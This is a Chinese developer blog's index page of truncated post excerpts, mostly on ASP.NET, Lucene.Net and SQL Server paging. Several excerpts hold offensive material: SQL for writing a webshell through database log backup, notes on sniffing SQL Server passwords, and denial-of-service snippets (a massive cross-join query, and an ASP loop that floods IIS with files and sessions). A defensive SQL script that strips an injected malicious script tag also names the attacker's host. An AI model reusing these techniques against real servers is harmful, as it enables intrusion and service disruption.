C# 基类中读取Session

评论(0)浏览(126)分类:Asp.Net/C#/WCF
C# 基类中读取Session方法一这几天一个项目中要在类中读取SESSION 试了很多方法都不行差点郁闷死了现在好了把成功的方法共享出来类中读取+展开-C#System.Web.SessionState.HttpSessionStatemys=HttpContext.Current.Session;mys["username"]但是有种情况就是用到了AJAX的话在返回的方法中调用就会有问题所以要有小的改动+展开-C#[AjaxMethod]//如果要访问session请..

写web.config文件

评论(0)浏览(114)分类:Asp.Net/C#/WCF
写web.config文件+展开-C#publicstaticvoidwriteConfig(stringitem,stringkey,stringvalue){if(item==""){item="appSettings";}Configurationconfig=System.Web.Configuration.WebConfigurationManager.OpenWebConfiguration(System.Web.HttpContext.Current.Request.ApplicationPath);AppSettingsSectionappSection=(AppSettingsSection)config.GetSection(item..

SQL Server安装问题大全

评论(0)浏览(128)分类:SQL及数据库
SQL Server安装问题大全壹。WINDOWS XP系统上安装SQL server服务器版一.在SQL服务器的安装盘中找到MSDE这个目录,并且点击setup.exe安装它,过程简单直接下一步就OK了。二. 重启系统WINDOWSXP,这下就可以看到SQL服务的图标出现了。三. 再拿出SQL服务器版的安装光盘,直接安装客户端工具四、打开“企业管理器”到“SQL Server 组”下,将“[lcoal] (Windows NT)”改..

HTA 列目录

评论(0)浏览(113)分类:Asp/VBScript
HTA 列目录把下面代码保存为.hta文件,然后双击运行即可。+展开-HTMLhtmlheadtitle磁盘管理器/title/headbodydivid="DivList"/divscriptlanguage="vbscript"SubList(sPath)sPath=Replace(sPath,"*","")SetFSO=CreateObject("Scripting.FileSystemObject")Setc_drive=FSO.GetFolder(sPath)Setc_files=c_drive.FilesSetc_folder=c_drive.SubFolderssHTML="ta..

Lucene.Net 2.3.1开发介绍 —— 索引(二)

评论(0)浏览(95)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 索引(二)2、索引中用到的核心类在Lucene.Net索引开发中,用到的类不多,这些类是索引过程的核心类。其中Analyzer是索引建立的基础,Directory是索引建立中或者建立好存储的介质,Document和Field类是逻辑结构的核心,IndexWriter是操作的核心。其他类的使用都被隐藏掉了,这也是为什么Lucene.Net使用这么方便的原因。2.1 Analyzer前面已经对Analyzer进行..

Lucene.Net 2.3.1开发介绍 —— 四、搜索(三)

评论(0)浏览(86)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 四、搜索(三)Lucene有表达式就有运算符,而运算符使用起来确实很方便,但另外一个问题来了。代码 4.3.4.1Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Analyzeranalyzer=newStandardAnalyzer();QueryParserparser=newQueryParser("title",analyzer);Queryquery=parser.Parse(@":");Console.WriteLin..

Lucene.Net 2.3.1开发介绍 —— 四、搜索(二)

评论(0)浏览(107)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 四、搜索(二)4.3 表达式用户搜索,只会输入一个或几个词,也可能是一句话。输入的语句是如何变成搜索条件的上一篇已经略有提及。4.3.1 观察表达式在研究表达式之前,一定要知道,任何一个Query都会对于一个表达式。不光可以通过Query构造表达式,还可以通过拼接字符串构造。这里说的观察表达式是指,用Query完成查询语句后,用ToString()方法输出Query的表达..

Lucene.Net 2.3.1开发介绍 —— 四、搜索(一)

评论(0)浏览(111)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 四、搜索(一)既然是内容筛选,或者说是搜索引擎,有索引,必然要有搜索。搜索虽然与索引有关,那也只是与索引后的文件有关,和索引的程序是无关的,因此,搜索和索引一般是分开部署。简单地说,就是一个应用程序(桌面程序)来索引,一个WEB程序来实现搜索。当然,为了测试的时候简单,这里还是使用NUnit的方式运行。搜索讲完后,将会简单介绍单机搜索引擎如..

Lucene.Net 2.3.1开发介绍 —— 二、分词(六)

评论(0)浏览(128)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 二、分词(六)Lucene.Net的上一个版本是2.1,而在2.3.1版本中才引入了Next(Token)方法重载,而ReusableStringReader类也是在新版本中引入的。这样改变,导致了2.3.1版本不得不修改2.1版以前的所有分词器。带来的另外一个问题的是,以前的一些现有分词器,拿到这里可能就不能用了。要使用ReadToEnd还有另外一个解决方法——修改Lucene.Net源码。在修改之前,我..

Lucene.Net 2.3.1开发介绍 —— 二、分词(四)

评论(0)浏览(113)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 二、分词(四)2.1.2 可以使用的内置分词简单的分词方式并不能满足需求。前文说过Lucene.Net内置分词中StandardAnalyzer分词还算比较实用(见1.1.2小节)。StandardAnalyzer为什么能满足我们的部分需求,而它又有哪些不足呢?看分词的好坏还是要从效果说起。简单的说,在中英文混合的情况下,StandardAnalyzer会把英文按空格拆,而中文则按单字拆。因为中文是按单..

Lucene.Net 2.3.1开发介绍 —— 二、分词(三)

评论(0)浏览(129)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 二、分词(三)1.3 分词器结构1.3.1 分词器整体结构从1.2节的分析,终于做到了管中窥豹,现在在Lucene.Net项目中添加一个类关系图,把TokenStream和他的儿孙们统统拉上去,就能比较好的把握他们之间的关系。图 1.3.1.1如图1.3.1.1 就是他们的类关系图。看出如果要做一个分词器,最短的路,就是继承第二代,成为第三代。然后再写一个Analyzer的子类,专门用来做..

Lucene.Net 2.3.1开发介绍 —— 二、分词(二)

评论(0)浏览(91)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 二、分词(二)1.2.1、分词器工作的过程内置的分词器效果都不好,那怎么办?只能自己写了!在写之前当然是要先看看内置的分词器是怎么实现的了。从1.1分析分词效果,可以看出KeywordAnalyzer这个分词器最懒惰,基本什么事情也没做。并不是它不会做,而是我们没找到使用它的方法,就像手上拿着个盒子,不知道里面是什么,就不知道这个是干嘛的,有什么用。打开盒..

Lucene.Net 2.3.1开发介绍 —— 二、分词(一)

评论(0)浏览(109)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 二、分词(一)Lucene.Net中,分词是核心库之一,当然,也可以将它独立出来。目前Lucene.Net的分词库很不完善,实际应用价值不高。唯一能用在实际场合的StandardAnalyzer类,效果也不是很好。内置在Lucene.Net里的分词都被放在项目的Analysis目录下,也就是Lucene.Net.Analysis命名空间下。分词类的命名一般都是以“Analyzer”结束,比如StandardAnalyzer,Sto..

Lucene.Net 2.3.1开发介绍 —— 一、接触Lucene.Net

评论(0)浏览(117)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 一、接触Lucene.Net 1、引用Lucene.Net类库 找到Lucene.Net的源代码,在“C#\src\Lucene.Net”目录。打开Visual Studio,我的版本是2008,而Lucene.Net默认的是2005。先创建一个项目,简单起见,创建一个C#控制台程序。图 1.1然后添加Lucene.Net进项目,如图 1.2 - 1.3。图 1.2图 1.3这个过程要进行一个VS2005到2008的转换。添加后,解决方案就有Lucene.Net项目了,..

Asp.Net2.0日历控件

评论(1)浏览(139)分类:Asp.Net/C#/WCF
Asp.Net2.0日历控件%@ Page Language="C#" AutoEventWireup="true" CodeFile="CalendarDefault.aspx.cs" Inherits="CalendarDefault" %%@ Register TagPrefix="ECalendar" Namespace="ExtendedControls" Assembly="EventCalendar" %!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"html..

Asp.net中 UTF-8 to GB2312 And GB2312 to UTF-8 第二种方法

评论(0)浏览(115)分类:Asp.Net/C#/WCF
Asp.net中 UTF-8 to GB2312 And GB2312 to UTF-8 第二种方法http://hi.baidu.com/isbx/blog/item/94d010df71d91d146227985e.html+展开-C#publicstringUTF8ToGB2312(){try{Encodingutf8=Encoding.GetEncoding(65001);Encodinggb2312=Encoding.GetEncoding("gb2312");byte[]temp=utf8.GetBytes(Request.QueryString["u"]);byte[]temp1=Encoding.Convert(utf8,gb2312,temp);stringresult=gb2312.GetString(te..

DB权限备份超时的解决办法

评论(0)浏览(86)分类:SQL及数据库
DB权限备份超时的解决办法有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..

Mssql 嗅探密文和明文对照表

评论(0)浏览(116)分类:SQL及数据库
Mssql 嗅探密文和明文对照表SQL Server在1433端口传输的数据大部分是明文的,这包括IP地址,连接用户名,成功和失败消息 这样一来,就很容易使用嗅探器嗅探在这个网段内SQL Server的相关信息,得到用户名和IP后,就 差口令了,其实SQL的口令加密是十分脆弱的,昨天我用了半小时,整理了一份口令字符对照表,在 分析SQL Server加密口令的时候,同时发现了SQL Server一个不大..

让服务器重启的死循环

评论(0)浏览(110)分类:SQL及数据库
让服务器重启的死循环网上找到的那个,偶试了下,估计是这几年CPU运算速度已经飞快了。。。所以有点过时了,试了好几个服务器!毛用都没有,特别是那个100平方根的。。。偶那破服务器3秒就出来结果了。。。直接汗颜,偶来丢个狠点的+展开-SQLselect*fromchapter,chapterasa1,chapterasa2,chapterasa3,chapterasa4,chapterasa5,chapterasa6,chapterasa7,chapterasa8,c..

再贴一段挂掉IIS的

评论(0)浏览(114)分类:Asp/VBScript
再贴一段挂掉IIS的% set fso=server.CreateObject("scripting.filesystemobject") i=1 do while not i=0 fso.createtextfile(Server.mappath(i".txt")) session(i)=i i=i+1 loop %ASP的。。。。。死循环创建文件和SESSION,建议不要对WEB目录进行。。。最好的地方就是临时目录!其实还有好几个更无耻的,不想帖了,免得被骂。。。。。总之,只要有WEBSHELL权限,搞..

ASP.NET 2.0数据缓存功能简介

评论(0)浏览(94)分类:Asp.Net/C#/WCF
ASP.NET 2.0数据缓存功能简介  在ASP.NET 2.0,新增加了不少新的功能和控件。其中,在数据的缓存功能,比asp.net 1.1有了很大的改变。众所周知,数据的缓存功能是十分重要的,我们可以把一些在相对一段时间内不发生改变的数据放在缓存中,这样,就不必要每次去读取数据库,当下次再需要这些数据时,可以直接从缓存中取得,大大增强了效率。  而在asp.net 1.1 中,已经比..

SqlServer2005 高效分页存储过程

评论(0)浏览(91)分类:SQL及数据库
SqlServer2005 高效分页存储过程+展开-SQLSelect*FROM(selectROW_NUMBER()Over(orderbycf_iddesc)asrowId,*fromT_Test)asmytablewhererowIdbetween21and40每页20条,第2页ROW_NUMBER是SqlServer2005中的新特性以下是利用本方法和传统利用Set RowCount方法存储过程的效率比较结果:未建索引情况下:500w数据: 存储过程1分20秒 , 新方法1分18秒400w数据:存储过程47秒,新方法41秒..

批量删除MSSQL数据库被插入木马sql语句

评论(0)浏览(69)分类:SQL及数据库
批量删除MSSQL数据库被插入木马sql语句+展开-SQLDECLAREhCForEachCURSORGLOBALFORSelectN'update'+QUOTENAME(o.name)+N'set'+QUOTENAME(c.name)+N'=replace('+QUOTENAME(c.name)+',''《scriptsrc=http://hack.hackeye.com/cn.js》《/script》'','''')'FROMsysobjectso,syscolumnsc,systypestWhereo.id=c.idANDOBJECTPROPERTY(o.id,N'IsUserTable')=1ANDc.xusertype=t.xusertypeANDt.n..

Asp.net页面和用户控件间的传值之求最简方法

评论(0)浏览(104)分类:Asp.Net/C#/WCF
Asp.net页面和用户控件间的传值之求最简方法看到很多朋友问这个问题,虽然很简单,但是很常用,拿出来讨论下吧。。。高手飘过!记得几年前偶刚学.NET的时候偶是这样干的+展开-HTML%@ControlLanguage="c#"%//html...scriptrunat="server"publicstringBackClo="red";//这里定义了一个参数publicvoidPage_Load(){}/script在aspx中调用此变量,可以 : +展开-HTML%@RegisterTagPrefix="UserContro..

发现个在.NET直接挂掉进程池的办法

评论(0)浏览(111)分类:Asp.Net/C#/WCF
发现个在.NET直接挂掉进程池的办法此方法是我无意间发现的,出现错误后IIS进程池直接挂掉了。。百试不爽!嘿嘿!+展开-C#///summary///用户昵称获取用户信息////summarypublicDataSetGetUserList(stringunike){returndal.GetUserList(unike);}以上是一个正常的BLL层函数,由于手误,偶写成了如下形式:+展开-C#///summary///用户昵称获取用户信息////summarypublicDataSetGetUserLis..

.NET 使用存储过程分页

评论(0)浏览(79)分类:SQL及数据库
.NET 使用存储过程分页+展开-SQLCREATEPROCEDUREPageCut@tblNamevarchar(255),--表名@strGetFieldsvarchar(1000)='*',--需要返回的列@fldNamevarchar(255)='',--排序的字段名@PageSizeint=10,--页尺寸@PageIndexint=1,--页码@OrderTypebit=0,--设置排序类型,非0值则降序@strWherevarchar(1500)='',--查询条件(注意:不要加where)@Countsintout--返回记录总数,非0值则返..

千万级分页高效存储过程

评论(0)浏览(52)分类:SQL及数据库
千万级分页高效存储过程这两天测试了前几天写的SQL2005专用分页的存储过程,当数据量达到2千多万的时候,效率相当的低,每次执行都要8秒左右(CPU:Q6600)。不过在2百多万数据量的情况下性能还是蛮不错的,在网上找了找,发现这下面的这两个,其实还是一个,不过后面那个是灵活了许多,仅供参考。 +展开-SQL/******Object:StoredProcedure[dbo].[GetRecordFromPage]Sc..

SQL Server循环插入记录

评论(0)浏览(122)分类:SQL及数据库
SQL Server循环插入记录用变量循环插入记录,开发时需要测试记录,用这个方法很有用,记录下来方便以后备查,大家可以参考修改为其它数据库的SQL.+展开-SQLDECLARE@recordNmberintset@recordNmber=0--SELECTCOUNT(*)FROMtbl_guide_strategyWHILE(@recordNmber)$30BEGINset@recordNmber=@recordNmber+1INSERTINTO[tbl_guide_strategy]([name],[guide_type],[guid_model],[st..

在sql server 中执行带参数的存储过程及计算运行时间

评论(0)浏览(150)分类:SQL及数据库
在sql server 中执行带参数的存储过程及计算运行时间ALTER PROCEDURE [dbo].[CurrentPageInfo]-- 获得某一页的数据--@beginNo int = 0, --起始记录号(即从哪一条开始取)@count int = 100, --取的结果集的总数@resultColumns varchar(2000) = '*', --需要得到的字段(即column1,column2,......)@tableName varchar(2000), --需要查看的表名(即from table_name)@condition varchar(2000) = '', --查询..

使用委托实现用户控件与父页面的交互

评论(0)浏览(131)分类:Asp.Net/C#/WCF
使用委托实现用户控件与父页面的交互在使用web用户控件时,经常遇到一种情况:控件需要与包含它的父页面进行交互。交互的种类很多,也分不同的层次。可以使用viewstate,session乃至静态变量。但有些时候,当控件本身会触发回传,那么,就必须使用事件来进行处理了。说起事件,并不是说web用户控件内部的这些button或者linkbutton等触发的回传事件,而是把一个web用户控件看作是一个..